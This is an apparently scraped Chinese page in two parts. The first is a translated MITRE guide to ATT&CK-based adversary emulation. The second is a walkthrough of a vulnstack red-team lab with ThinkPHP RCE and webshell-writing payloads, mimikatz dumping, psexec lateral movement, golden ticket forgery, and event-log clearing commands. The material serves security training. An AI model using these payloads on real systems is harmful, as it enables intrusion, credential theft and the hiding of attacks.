从ATT&CK开始——对手仿真和红队

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从ATT&CK开始——对手仿真和红队相关的知识,希望对你有一定的参考价值。

参考技术A https://attack.mitre.org/resources/getting-started/

我们希望你已经花时间阅读了第一章开始使用ATT&CK的威胁情报和第二章使用ATT&CK的检测和分析!我们在这里给你带来了第三章,这一次涵盖了对手模拟和red与ATT&CK的合作,来演示我们如何测试那些新的分析,John向我们展示了如何构建。

继续前几章的主题,本节将根据你的团队的复杂程度和你所拥有的资源分为不同的级别:

�一级对于刚开始那些可能没有许多资源

�二级对于那些中层团队开始成熟

�三级对于那些更高级的网络安全团队和资源

对于那些不熟悉它的人来说,敌手模拟是一种红队参与的类型,它通过混合威胁情报来定义红队使用的行动和行为,来模拟对组织的已知威胁。这就是为什么对手模拟不同于渗透测试和其他形式的红队。

对手模拟器构建一个场景来测试对手的战术、技术和过程(TTPs)的某些方面。然后,红队在目标网络上运行,以测试防御系统如何对付模拟对手。

由于ATT&CK是一个关于现实世界中对手行为的大型知识库,所以不需要太多的想象力就可以将对手或红队的行为与ATT&CK联系起来。让我们来探索安全团队如何使用ATT&CK进行对手模拟来帮助改进他们的组织。

一、1级

小团队和那些主要专注于防守的团队可以从对手的竞争中获得很多好处,即使他们没有机会进入红队,所以不要担心!有相当多的资源可以帮助你开始测试你的防御与ATT&CK对齐的技术。我们将重点介绍如何通过尝试简单的测试来深入敌手模拟。

Atomic Red Team是一个由Red Canary维护的开源项目,它是一个脚本集合,可以用来测试如何检测映射到ATT&CK技术的某些技术和过程。例如,您可能已经遵循了第1章中的建议,并研究了APT3使用的技术,如网络共享发现(T1135)。您的intel团队将此信息传递给您的检测团队,并且根据第2章的指导,他们编写了一个行为分析来尝试检测对手是否执行了此技术。但是你怎么知道你是否真的能检测到这种技术呢?

Atomic Red Team可用于测试单个技术和过程,以验证行为分析和监视功能是否如预期的那样工作。

原子Red团队存储库有许多原子测试,每个测试都有一个用于测试ATT&CK技术的目录。您可以查看ATT&CK矩阵格式的完整存储库。

要开始测试,请选择T1135页,以查看详细信息和文档中记录的不同类型的原子测试。每个测试都包含关于技术是什么、支持的平台以及如何执行测试的信息。

我们看到有三个测试选项,并决定选择#2来使用命令提示符进行测试。因此,我们打开命令提示符,复制并粘贴命令,添加计算机名,然后执行命令。

我们刚刚执行了我们的第一个原子测试!一旦完成了这一步,我们就可以看看我们期望检测到的是否就是我们实际检测到的。例如,可能我们在SIEM工具中有一个行为分析工具,它应该在“net view”执行时发出警报,但是我们发现它没有触发,所以我们发现从主机导出的日志不正确。您排除故障并修复了问题,现在您已经取得了可度量的改进,以帮助您在将来有更好的机会使用此过程捕获对手。

这些单项测试允许激光聚焦于单个的ATT&CK技术,这使得构建基于ATT&CK的防御覆盖更容易实现,因为您可以从单个技术的单一测试开始,然后从单一技术扩展到其他技术。

1.5级奖励内容:获得了一个使用原子红队执行对手模拟测试的过程,并准备好了一些东西,可以帮助链接在一起的行为序列?下一个看看CALDERA!CALDERA是一个由MITRE创建的自动对抗仿真系统,它有许多内建的行为映射到ATT&CK技术。它允许操作员在构建测试时选择一种技术或将多种技术连接在一起,这允许您开始自动化测试的行为序列,而不是手动执行单个原子测试。您可以使用预先构建的场景之一,或者通过选择映射到您想要测试的某些ATT&CK技术的过程(在CALDERA中称为能力)来定义更具体的场景。

二、2级

对于那些已经拥有红队能力的人来说,您可以从将ATT&CK与您现有的项目集成中获益良多。映射技术用于红色团队参与ATT&CK编写报告和讨论时提供了一个通用框架移植。

首先,您可以使用现有的计划操作或工具并将其映射到ATT&CK。将red team过程映射到ATT&CK类似于将威胁情报映射到ATT&CK,因此您可能想要查看Katie在第一章中概述的六步流程的建议。

幸运的是,有时映射技术可以像搜索ATT&CK网站上使用的命令一样简单。例如,如果我们在red team操作中使用了“whoami”命令,那么我们可以在ATT&CK网站上搜索它,并发现可能会应用两种技术:系统所有者/用户发现(T1033)和命令行界面(T1059)。

另一个帮助您开始将red team过程映射到ATT&CK的资源是APT3敌手模拟字段手册,它列出了APT3使用的一个命令一个命令的操作,所有这些操作都映射到ATT&CK。

如果你的红队正在使用像Cobalt Strike或Empire这样的工具,好消息是这些工具已经被映射到ATT&CK了。有了您个人的命令、脚本和映射到ATT&CK的工具,您现在可以计划您的任务了。

红队有他们的尝试和真正的工具箱和操作方法。他们知道什么是有效的,因为它总是有效。但是他们不知道的是,他们所尝试的和真正的ttp与已知的可能针对组织的威胁有多少重叠(或者不重叠!)。这就导致了在理解防御系统与你真正想要防御的对象之间的差距——目标是你的环境的敌人,而不一定是红队本身。

我们想要确保我们不仅仅是在做技术,因为我们的工具可以执行它们——我们想要模拟一个真正的对手,我们关心的是提供更多的价值。例如,我们可以和我们的CTI团队谈谈,他们告诉我们,他们担心来自伊朗石油钻井平台的袭击。

由于ATT&CK的所有内容都是结构化的,我们可以使用ATT&CK导航仪来比较现有工具(如Cobalt Strike)和OilRig基于开源报告的技术。(你可以查看导航器的演示,它演示了如何做到这一点。)在下一个图形,Cobalt Strike技术是红色的,OilRig技术是蓝色的,两种技术都能执行用紫色。

这些紫色技术为我们提供了一个开始使用现有工具和执行组织优先考虑的技术的地方。

除了识别出Cobalt Strike和OilRig之间的重叠部分,分析还可以显示出,在哪些地方可以改变red team的行为,而不仅仅局限于他们通常采用的程序层面。

在某些情况下,一项技术可能是在红队使用的工具中以特定的方式实现的,但是我们不知道对手是如何实现的。有了这些知识,就可以帮助red团队在不同的测试之间使用不同的行为,从而更好地覆盖作为对抗模拟过程一部分的威胁。

此时,我们还可以添加希望使用命令或脚本手动执行的技术。然后,我们可以在导航器中添加关于执行技术的顺序以及如何执行它们的注释。

当我们计划红队行动时,映射到ATT&CK是有好处的,一旦我们执行了我们的行动,当我们与我们的蓝队沟通时,我们也收获了回报。如果他们将分析、检测和控制映射回ATT&CK,那么您可以轻松地用一种通用语言与他们交流,了解您所做的工作和他们的成功之处。在报表中包含ATT&CK导航器映像(甚至保存的导航器层)可以帮助这个过程,并为它们提供一个可以改进的模板。

用户级别2.5内容:在使用ATT&CK计划约定和报告结果之后,尝试使用APT3模拟计划或基于该计划的ATT&CK评估第一轮场景,以进行约定模拟APT3,显示针对特定对手组的基线测试。

三、3级

此时,您的红队正在将ATT&CK集成到操作中,并在与蓝队的通信中寻找价值。为了提高您的团队及其所产生的影响,您可以与您的组织的CTI团队协作,通过创建您自己的对手模拟计划,使用他们收集的数据来针对特定的对手调整约定。

创建您自己的对手模拟计划,利用最大的力量,结合红色团队与您自己的威胁情报:行为是从现实世界的对手看到的目标是你!红队可以把intel变成有效的测试,以显示什么防御工作得很好,什么地方的资源需要改进。

当安全性测试暴露了可见性和控制漏洞时,当您可以显示它们很可能被已知的对手利用时,就会产生更高级别的影响。将您自己的CTI与对手模拟工作相连接,将提高测试的有效性,并将输出结果提供给高级领导以制定更改。

我们推荐如下图所示的五步流程来创建一个对手模拟计划、执行操作并推动防御改进。(有关此过程的更详细概述,请参见Katie Nickels和Cody Thomas关于ATT&CK基于威胁的对手模拟的演示。)

1. 收集威胁情报——根据组织面临的威胁,选择一个对手,与CTI团队合作,分析对手的行动。结合你的组织所知道的,除了公开的情报,来记录对手的行为,他们追求的是什么,他们是粉碎和抓取还是低速度和慢速。

2. 提取技术——就像你将你的红队行动映射到ATT&CK技术一样,将你的情报映射到与你的情报团队相关的特定技术。您可以将您的CTI团队指向第1章,以帮助他们学习如何做到这一点。

3.分析和组织——现在你有了一堆关于对手的情报以及他们是如何运作的,用一种很容易制定具体计划的方式将这些信息绘制到他们的运作流程中。例如,下面是MITRE团队为APT3对手模拟计划创建的操作流。

4. 开发工具和过程——既然您已经知道了希望红队做什么,那么就应该弄清楚如何实现行为。考虑:

�威胁组织使用这种技术如何?

�集团不同的技术是使用基于环境上下文?

�什么工具可以复制这些ttp吗?

5. 模拟对手——有了适当的计划,红队现在能够执行并执行模拟契约。正如我们建议所有使用ATT&CK的红队项目,红队应该与蓝队紧密合作,深入了解蓝队的可见度的差距在哪里,以及它们存在的原因。

一旦整个过程发生,红色和蓝色的团队可以与CTI团队合作,确定下一个威胁,重复这个过程,创建一个连续的活动,测试对现实世界行为的防御。

总结

本章向您展示了如何使用ATT&CK进行红色团队和对手模拟,而不管您拥有什么资源(包括您还没有红色团队时)。我们希望您在本书中已经注意到,这些主题都是建立在其他主题的基础上的,通过威胁情报来创建分析,这些分析可以通过对手的仿真来验证和改进——所有这些都使用ATT&CK的公共语言。下一章(也是最后一章)将讨论ATT&CK的执行评估和工程,为我们的ATT&CK系列的入门课程画上圆满的句号。

ATT&CK实战系列——红队实战

一、环境配置

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

虚拟机密码

win7
sun\\heart 123.com
sun\\Administrator dc123.com
Win7双网卡模拟内外网
2008
sun\\admin 2020.com

网络环境配置如下:

登陆更改一下密码

把phpstudy开启,然后记住这里一定要把网卡配置到相应的位置

网络环境如下:

二、外网打点

使用nmap对外网ip段进行信息收集

nmap -sV 192.168.135.150

有个web站点80、3306 mysql,就先从web站点下手

ThinkPHP 5.0.22 任意命令执行getshell

payload:

1.利用system函数远程命令执行

http://localhost:9096/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami


2.通过phpinfo函数写出phpinfo()的信息
http://localhost:9096/public/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


3.写入shell:
http://localhost:9096/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

或者http://localhost:9096/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

打了一波发现是administrator权限

http://192.168.138.128/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

这里就用工具getshell不那么麻烦了,内个蚁剑的编码器好像有点问题

我听说还有~师傅们留下的webshell在里面嗷

直接下载文件得到密码MD5解密


我是一个好人果断把大马删除掉,然后植入一个哥斯拉的shell搞

mysql弱口令

找到TP5连接数据库的文件

猜测账号密码都是root

三、内网渗透

上线CS

权限提升

信息收集

ipconfig /all #定位域控


Ladon 192.168.138.0/24 OnlinePC  # 多协议探测存活主机(IP、机器名、MAC地址、制造商)
Ladon 192.168.138.0/24 OsScan #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)


mimikatz

获取用户密码已经NTLM、SID值

四、横向移动

直接用EW做代理

./ew_for_Win.exe -s ssocksd -l 8888

运行被防火墙拦截了,好家伙果断关闭防火墙

fscan扫描


MS17-010

扫描发现居然有MS17-010在win7上,虽然已经拿下这台机器了但还是试试

Psexec 横向拿下域控

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

psexec 传递
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。

获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口

命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程
例如:portscan 192.168.138.0/24 445 arp 200





黄金票据

在域控获得KRBTGT账户NTLM密码哈希和SID


黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

伪造域的用户名:len
域的名称:SUN
域的SID:S-1-5-21-3388020223-1982701712-4030140183-1110
域的KRBTGT账户NTLM密码哈希:65dc23a67f31503698981f2665f9d858

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

WEB机 Administrator 权限机器->右键->Access->Golden Ticket


痕迹清理

windows

1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

参考的大佬们博客:https://blog.csdn.net/qq_38626043/article/details/119141146
本文仅作靶场实战教程,禁止将本文演示的技术方法用于非法活动,违者后果自负。

以上是关于从ATT&CK开始——对手仿真和红队的主要内容,如果未能解决你的问题,请参考以下文章

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战